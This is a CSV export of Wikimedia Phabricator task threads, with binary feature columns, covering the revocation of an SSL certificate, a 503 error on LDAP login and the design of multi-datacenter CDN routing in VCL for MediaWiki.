+424766,delete / revoke stats.wikimedia.org SSL cert,"I merged @dzahn's patchset and also removed the key from the private repo, then shredded them off stat1001.  in process of revoking the cert with rapidssl.",,,1426104782,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-fgtrjqhmdvt3rcjppthz,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,1,1,0,0,0
+424762,delete / revoke stats.wikimedia.org SSL cert,"Change 195309 merged by RobH:
+delete stats.wikimedia.org SSL cert
+
+[[https://gerrit.wikimedia.org/r/195309]]",,,1426104451,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fgtrjqhmdvt3rcjppthz,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+423516,delete / revoke stats.wikimedia.org SSL cert,"Change 195309 had a related patch set uploaded (by Dzahn):
+delete stats.wikimedia.org SSL cert
+
+[[https://gerrit.wikimedia.org/r/195309]]
+",,,1425943698,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fgtrjqhmdvt3rcjppthz,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+91960,Login to phabricator.wikimedia.org via LDAP fails with 503 Service Unavailable,"```
+Request: POST http://phabricator.wikimedia.org/auth/login/ldap:self/, from 10.64.0.172 via cp1044 cp1044 ([10.64.0.172]:80), Varnish XID 1060355216
+Forwarded for: [my IP], 10.64.0.172
+Error: 503, Service Unavailable at Mon, 09 Mar 2015 11:45:02 GMT
+```
+
+Was getting this last week as well (didn't try again until today). Login via OAuth works. ",Medium,50.0,1425901779,1427128359.0,PHID-USER-n6a5asuonlcdc2xmndl2,False,PHID-USER-3neel27i7dyu62jbbx2l,False,PHID-TASK-37526gijx2kdkznqvmcm,task_description,declined,True,c3,1,False,False,True,-17,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+540556,Login to phabricator.wikimedia.org via LDAP fails with 503 Service Unavailable,"Still reproducible by me. Can someone check if there's something weird about the way my LDAP account is(n't) set up?
+
+```
+
+Request: POST http://phabricator.wikimedia.org/auth/login/ldap:self/, from 10.64.32.133 via cp1056 cp1056 ([10.64.32.133]:80), Varnish XID 748489956
+Forwarded for: [my id], 10.64.32.133
+Error: 503, Service Unavailable at Sat, 03 Oct 2015 18:25:54 GMT 
+```",,,1443896955,,PHID-USER-n6a5asuonlcdc2xmndl2,False,,,PHID-TASK-37526gijx2kdkznqvmcm,task_subcomment,,True,c3,3,False,,,13,True,0,1,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,0,1,0,0,0,1
+431183,Login to phabricator.wikimedia.org via LDAP fails with 503 Service Unavailable,Hmm? This is just from the regular login page accessible from the top right of https://phabricator.wikimedia.org/  . So https.,,,1427141750,,PHID-USER-n6a5asuonlcdc2xmndl2,False,,,PHID-TASK-37526gijx2kdkznqvmcm,task_subcomment,,True,c3,1,False,,,-15,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0
+431154,Login to phabricator.wikimedia.org via LDAP fails with 503 Service Unavailable,"If I enter ""http://phabricator.wikimedia.org/auth/login/ldap:self/"" I get redirected to https://phabricator.wikimedia.org/auth/login/ldap:self/
+
+@Jarry1250, In which exact URL are you when you trigger this problem? http or https?",,,1427139123,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-37526gijx2kdkznqvmcm,task_subcomment,,True,c3,1,True,,,-15,True,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,1,1,0,0,0,0,0,1
+431046,Login to phabricator.wikimedia.org via LDAP fails with 503 Service Unavailable,"FWIW I can still reproduce this (just did):
+
+
+```
+Request: POST http://phabricator.wikimedia.org/auth/login/ldap:self/, from 10.64.0.171 via cp1043 cp1043 ([10.64.0.171]:80), Varnish XID 979979380
+Forwarded for: [my id], 10.64.0.171
+Error: 503, Service Unavailable at Mon, 23 Mar 2015 17:43:05 GMT 
+```
+
+503 should never be the right answer...",,,1427132718,,PHID-USER-n6a5asuonlcdc2xmndl2,False,,,PHID-TASK-37526gijx2kdkznqvmcm,task_subcomment,,True,c3,1,False,,,-15,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+430950,Login to phabricator.wikimedia.org via LDAP fails with 503 Service Unavailable,can't repro and no further reports,,,1427128359,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-37526gijx2kdkznqvmcm,task_subcomment,,True,c3,1,True,,,-15,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+423836,Login to phabricator.wikimedia.org via LDAP fails with 503 Service Unavailable,"Is this constantly reproducible?
+Just noting that your account does not link to your LDAP account on https://phabricator.wikimedia.org/p/Jarry1250/ (is it listed on https://phabricator.wikimedia.org/settings/panel/external/ ?).
+Just wondering which factors could be related to the specific situation in order to reproduce... need somehow conditions to reproduce, hence setting as stalled for the time being.",,,1425997079,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-37526gijx2kdkznqvmcm,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,0
+423173,Login to phabricator.wikimedia.org via LDAP fails with 503 Service Unavailable,"I'm not sure it would be much to look at! The page just hangs for around 30 seconds, then finally displays https://phabricator.wikimedia.org/auth/login/ldap:self/ (not http://) as the URL, but a Wikimedia Error with those details as the body. I'm at work at the moment (so potential interaction with proxies and firewalls and lord knows what else), but my previous problems were at home.",,,1425916540,,PHID-USER-n6a5asuonlcdc2xmndl2,False,,,PHID-TASK-37526gijx2kdkznqvmcm,task_subcomment,,True,c3,1,False,,,-17,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+423170,Login to phabricator.wikimedia.org via LDAP fails with 503 Service Unavailable,Well it shouldn't be using an HTTP url there at all. So that is weird.  We have this happen a few times pre-https-all-phab and I'm not sure how this is happening now.  If you can still reproduce could you screenshot the process?,,,1425916354,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-37526gijx2kdkznqvmcm,task_subcomment,,True,c3,1,True,,,-17,True,1,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0
+423152,Login to phabricator.wikimedia.org via LDAP fails with 503 Service Unavailable,Can reproduce. Might it be something with the way my account is configured? https://phabricator.wikimedia.org/p/Jarry1250/ does not show me as having an associated LDAP User,,,1425915641,,PHID-USER-n6a5asuonlcdc2xmndl2,False,,,PHID-TASK-37526gijx2kdkznqvmcm,task_subcomment,,True,c3,1,False,,,-17,True,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,1,1,1,0,0,0
+423142,Login to phabricator.wikimedia.org via LDAP fails with 503 Service Unavailable,"Nothing with LDAP that I could see.  As far as I know, the only outage this weekend was an issue with the tools proxies for a couple of hours late Sunday but that was unrelated.",,,1425915052,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-37526gijx2kdkznqvmcm,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,0,0,0,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+423099,Login to phabricator.wikimedia.org via LDAP fails with 503 Service Unavailable,"hmmm labs may have had an issue but yeah it works for me atm.  @coren, anything in labs over the weekend that would have affected ldap weirdly?",,,1425909781,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-37526gijx2kdkznqvmcm,task_subcomment,,True,c3,1,True,,,-17,True,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,1,1,0,1,1,1,0,0,0,0
+423095,Login to phabricator.wikimedia.org via LDAP fails with 503 Service Unavailable,I could login via LDAP right now.,,,1425908945,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-37526gijx2kdkznqvmcm,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+423065,Login to phabricator.wikimedia.org via LDAP fails with 503 Service Unavailable,Also mentioned in T91944,,,1425902463,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-37526gijx2kdkznqvmcm,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+91820,Create HTTP verb and sticky cookie DC routing in VCL ,"CDN routing logic should be:
+
+# If HTTP POST => master DC.
+** Reason: This will perform writes to the primary database which should be done locally.
+# If cookie ""UseDC=master"" is present => master DC.
+** Reason: The user has recently made writes (database, session). To ensure the user sees their own actions reflected, and to minimise chances of needing to do synchronous waits, the user is ""stickied"" to the primary DC for a few seconds until we're confident cross-dc DB and session replication has completed.
+** This also ensures we don't need a multi-dc aware ChronologyProtector, per T254634.
+# If URL param ""cpPosIndex="" is present => master DC.
+** Reason: The user has recently made writes (database, session) and is now being redirected to a cross-wiki domain. To ensure the user sees their own actions reflected, and to minimise chances of needing to do synchronous waits, the user is ""stickied"" to the primary DC for a few seconds until we're confident cross-dc DB and session replication has completed.
+** This also ensures we don't need a multi-dc aware ChronologyProtector, per T254634.
+# Requests that perform database writes over GET (like HTTP POST)
+** GET index.php action=rollback => master DC (per T88044).
+*** Reason: This is a user action that for legacy reason cannot yet use form submissions.
+** GET login.wikimedia.org Special:CentralAutoLogin => master DC.
+*** Reason: This auto-creates local accounts and cross-domain login sessions through a chain of redirects and hence can't use POST. In addition to sometimes performing db writes, it also needs access to the latest user sessions and ChronologyProtector, per T254634#6211514. Note that the `Special:CentralAutoLogin` url is never localised to make this easy.
+# Cache/stash write optimisations => master DC
+** GET/POST api.php action=centralauthtoken or centralauthtoken=, or an Authorization header which starts with CentralAuthToken (T267270)
+*** Reason: Foreign API tokens need to be set and then immediately consumed. Latency will probably be reduced by routing these requests at the CDN layer rather using mcrouter to do cross-DC memcached requests.
+# Anything else, e.g. HTTP GET/HEAD/OPTION  => local DC.
+# HTTP POST with `Promise-Non-Write-API-Action: true` header => local DC (exception to rule 1).
+** Reason: These are AJAX POST requests that only fetch data. They use POST due to the limited payload size that GET requests allow.
+
+
+See also:
+* <https://www.mediawiki.org/wiki/Requests_for_comment/Master_%26_slave_datacenter_strategy_for_MediaWiki#Request_routing>",Medium,50.0,1425678338,1657069059.0,PHID-USER-bmbmvb2e5bg6ztcangbq,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-h7dedcskmzkrx2xygdq7,task_description,resolved,True,c3,1,True,False,False,-17,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1
+1944427,Create HTTP verb and sticky cookie DC routing in VCL ,"Change 801621 **merged** by Tim Starling:
+%%%[operations/puppet@production] Implement MediaWiki multi-DC traffic component%%%
+https://gerrit.wikimedia.org/r/801621",,,1657000327,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,False,,,365,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1925504,Create HTTP verb and sticky cookie DC routing in VCL ,"Change 801621 had a related patch set uploaded (by Tim Starling; author: Tim Starling):
+%%%[operations/puppet@production] [WIP] Implement MediaWiki multi-DC traffic component%%%
+https://gerrit.wikimedia.org/r/801621",,,1653979585,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,False,,,360,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1797581,Create HTTP verb and sticky cookie DC routing in VCL ,"The swap of #Traffic for #Traffic-Icebox in this ticket's set of tags was based on a bulk action for all tickets that aren't are neither part of our current planned work nor clearly a recent, higher-priority emergent issue. This is simply one step in a larger task cleanup effort. Further triage of these tickets (and especially, organizing future potential project ideas from them into a new medium) will occur afterwards! For more detail, have a look at the extended explanation on the main page of Traffic-Icebox . Thank you!",,,1633723502,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,327,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+1666084,Create HTTP verb and sticky cookie DC routing in VCL ,"Change 661936 **merged** by jenkins-bot:
+[mediawiki/extensions/VisualEditor@REL1_35] Rename magic header to be consistent with WMF CDN infrastructure
+
+https://gerrit.wikimedia.org/r/661936",,,1613500159,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,False,,,293,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1666047,Create HTTP verb and sticky cookie DC routing in VCL ,"Change 661934 **merged** by jenkins-bot:
+[mediawiki/core@REL1_35] MWLBFactory: rename magic HTTP header for opting out of sqlite write lock
+
+https://gerrit.wikimedia.org/r/661934",,,1613498135,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,False,,,293,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+1659801,Create HTTP verb and sticky cookie DC routing in VCL ,"Change 661936 had a related patch set uploaded (by C. Scott Ananian; owner: C. Scott Ananian):
+[mediawiki/extensions/VisualEditor@REL1_35] Rename magic header to be consistent with WMF CDN infrastructure
+
+https://gerrit.wikimedia.org/r/661936",,,1612559513,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,False,,,292,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1659794,Create HTTP verb and sticky cookie DC routing in VCL ,"Change 661934 had a related patch set uploaded (by C. Scott Ananian; owner: C. Scott Ananian):
+[mediawiki/core@REL1_35] MWLBFactory: rename magic HTTP header for opting out of sqlite write lock
+
+https://gerrit.wikimedia.org/r/661934",,,1612559207,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,False,,,292,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+1659240,Create HTTP verb and sticky cookie DC routing in VCL ,"Change 661763 **merged** by jenkins-bot:
+[mediawiki/extensions/VisualEditor@master] Rename magic header to be consistent with WMF CDN infrastructure
+
+https://gerrit.wikimedia.org/r/661763",,,1612481903,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,False,,,292,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1659239,Create HTTP verb and sticky cookie DC routing in VCL ,"Change 661760 **merged** by jenkins-bot:
+[mediawiki/core@master] MWLBFactory: rename magic HTTP header for opting out of sqlite write lock
+
+https://gerrit.wikimedia.org/r/661760",,,1612481900,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,False,,,292,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+1658982,Create HTTP verb and sticky cookie DC routing in VCL ,"Change 661760 had a related patch set uploaded (by C. Scott Ananian; owner: C. Scott Ananian):
+[mediawiki/core@master] MWLBFactory: rename magic HTTP header for opting out of sqlite write lock
+
+https://gerrit.wikimedia.org/r/661760",,,1612461306,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,False,,,292,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+1658981,Create HTTP verb and sticky cookie DC routing in VCL ,"Change 661763 had a related patch set uploaded (by C. Scott Ananian; owner: C. Scott Ananian):
+[mediawiki/extensions/VisualEditor@master] Rename magic header to be consistent with WMF CDN infrastructure
+
+https://gerrit.wikimedia.org/r/661763",,,1612461278,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,False,,,292,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1522342,Create HTTP verb and sticky cookie DC routing in VCL ,"I've updated the task descriptoin to include:
+* the grandfathering of action=rollback (as agreed a few years ago),
+* the exemption for CentralAuth autologin (recenly discussed in context of ChronologyProtector at T254634#6211514).",,,1591805572,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,257,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+1081038,Create HTTP verb and sticky cookie DC routing in VCL ,">>! On IRC, @tstarling wrote:
+> <TimStarling> pity the SessionManager refactor did not add replication awareness
+
+The SessionManager refactor was designed to allow any storage backend to be used, as long as someone implements a BagOStuff interface for it. If someone makes a replication-aware BagOStuff (or a wrapper like MultiWriteBagOStuff), SessionManager can use it.
+
+At a glance it seems WANObjectCache (which is not a BagOStuff) won't work here because its `->set()` doesn't replicate either. WANObjectCache is stated to be intended as a cache on top of some other storage, primarily populated by `getWithSetCallback()`, rather than itself being the storage.
+
+>>! In T91820#4259902, @tstarling wrote:
+> Special:Userlogin starts a session on a GET request so that it can implement CSRF protection on the login form. And that's a localised page name so it's not easy to filter in VCL unless we change the URL in MediaWiki to something more predictable. Not sure if there are other cases, we'd need some sort of audit.
+
+In general, to find things starting a session look for calls to a `MediaWiki\Session\Session` object's `->persist()` method. At a glance,
+
+* Special:CreateAccount does the same as Special:UserLogin.
+* The action API when used to fetch a login or createaccount token.
+* CentralAuth's auto-login.
+* CentralAuth (or OAuth or other extensions) triggering auto-creation of a local account, or if the auto-creation fails because the IP-user lacks the 'createaccount' and 'autocreateaccount' rights.
+
+Also, if session data for an existing session changes that'll also trigger a write to the storage backend. And, as Aaron mentioned, the periodic keep-alive refresh on a request if the existing session is more than halfway to its expiration.",,,1528300409,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,152,True,1,1,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,1
+1080628,Create HTTP verb and sticky cookie DC routing in VCL ,">>! In T91820#4259902, @tstarling wrote:
+> Special:Userlogin starts a session on a GET request so that it can implement CSRF protection on the login form. And that's a localised page name so it's not easy to filter in VCL unless we change the URL in MediaWiki to something more predictable. Not sure if there are other cases, we'd need some sort of audit. If session access is very rare in the secondary DC then could we just tunnel session access to the primary DC, instead of replicating? GET requests causing session creation would be slightly delayed, then the user would get their session cookie and be directed to the primary for subsequent requests.
+
+Session writes are fairly rare (initialization and periodic preemptive refreshes). I suppose write access could be tunneled, with tricks to deal with replication delay. Tunneling all access would only be OK for some early iteration of deployment. 
+
+Ideally, the session store could take writes from either DC and wait (without a sanity timeout) on the remote one. That was at least the idea I had in mind. I was hoping something like dynomite (redis based) could do the trick. The wmf package for that and something like https://gerrit.wikimedia.org/r/#/c/415789/ (except for sessions, not wancache, and with the ssl features enabled) could be used. The consistency models only support DC local ""quorum"" at most (https://github.com/Netflix/dynomite/wiki/Consistency) I something like ChronologyProtector's cpPosIndex could be used to avoid replication being raced out between the client making requests heterogeneously among the DCs. Since the cookie will be sent when the session is created, then some cookie could hold an index and be used to make MW wait a bit for a value with that index to appear in the session store.
+
+An older idea was to explore using a small Cassandra cluster. That engine already has ""global quorum"" style writes as an option. See T134811.",,,1528267617,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-h7dedcskmzkrx2xygdq7,task_subcomment,,True,c3,3,True,,,152,True,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,0,0,1,0,1,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1
